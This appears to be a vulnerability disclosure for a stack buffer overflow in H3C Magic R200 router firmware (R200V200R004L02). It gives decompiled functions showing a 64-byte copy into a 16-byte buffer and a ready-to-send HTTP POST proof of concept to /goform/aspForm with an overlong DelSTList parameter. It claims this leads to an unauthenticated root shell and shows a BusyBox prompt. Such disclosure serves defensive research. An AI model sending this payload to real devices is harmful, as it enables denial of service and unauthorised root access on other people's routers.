# H3C magic R200 R200V200R004L02.bin Stack overflow vulnerability

## Overview

- Manufacturer's website information: <https://www.h3c.com/>
- Firmware download address :  
[https://www.h3c.com/cn/d\\_202012/1361151\\_30005\\_0.htm](https://www.h3c.com/cn/d_202012/1361151_30005_0.htm)

## Affected version

H3C R200V200R004L02 (仅适用于原先版本为V200系列的设备) 版本及软件说明书

软件名称: H3C R200V200R004L02 (仅适用于原先版本为V200系列的设备) 版本及软件说明书

发布日期: 2020/12/1 10:07:11

下载:

→ [H3C MagicR200V200R004L02 版本说明书.pdf](#)(605.54 KB)

→ [R200V200R004L02.zip](#)(6.13 MB)

软件说明

The figure above shows the latest firmware.

## Vulnerability details

```
int __fastcall sub_468AE0(int a1)
{
    int i; // $v0
    int v2; // $v0
    int v3; // $v0
    _BYTE *v5; // [sp+1Ch] [+1Ch]
    char v6[16]; // [sp+24h] [+24h] BYREF
    char v7[16]; // [sp+34h] [+34h] BYREF
    char v8[260]; // [sp+44h] [+44h] BYREF

    strcpy(v6, "param");
    v5 = (_BYTE *)sub_486660(a1, v6, & dword_49CBD8);
    for ( i = getElement(v7, v5, ';', 1); !i; i = getElement(v7, v5, ';', 1) )
    {
        v2 = atoi(v7);
        if ( !CFG_Get(0, v2 + 1023938560, v8, 256) )
        {
            v3 = atoi(v7);
            CFG_SetStatus(0, v3 + 1023934464, 5);
            --dword_4A9690;
        }
        v5 += strlen(v7) + 1;
    }
}
```

```

int __fastcall getElement(_BYTE *a1, _BYTE *a2, char a3, int a4)
{
    int i; // [sp+18h] [+18h]
    int v6; // [sp+1Ch] [+1Ch]
    int v7; // [sp+20h] [+20h]
    _BYTE *v8; // [sp+24h] [+24h]

    v7 = 0;
    if ( !a1 )
        return -1;
    if ( !a2 || !*a2 )
        return -1;
    v8 = a2;
    for ( i = 0; i < a4; ++i )
    {
        if ( i > 0 )
            v8 = (_BYTE *)(v7 + 1);
        v7 = strchr(v8, a3);
        if ( !v7 )
        {
            v7 = (int)&v8[strlen(v8)];
            break;
        }
    }
    if ( i >= a4 - 1 )
    {
        v6 = v7 - (DWORD)v8;
        if ( v7 - (int)v8 < 64 ) not more than 64
        {
            memcpy(a1, v8, v6);
            a1[v6] = 0;
            return 0;
        }
        else
        {

```

Parameters in the Delstlist interface use the getElement function to split strings. The size of V7 is only 16, and the maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability.

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware R200V200R004L02.bin
2. Attack with the following POC attacks

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.124.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101
Firefox/101.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 2025
Origin: http://192.168.124.1
DNT: 1
Referer: http://192.168.124.1/dhcpd.asp
Upgrade-Insecure-Requests: 1

CMD=DelSTList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

已超时

The above figure shows the POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

BusyBox v1.2.0 (2019.11.07-05:21+0000) Built-in shell (ash)  
Enter 'help' for a list of built-in commands.
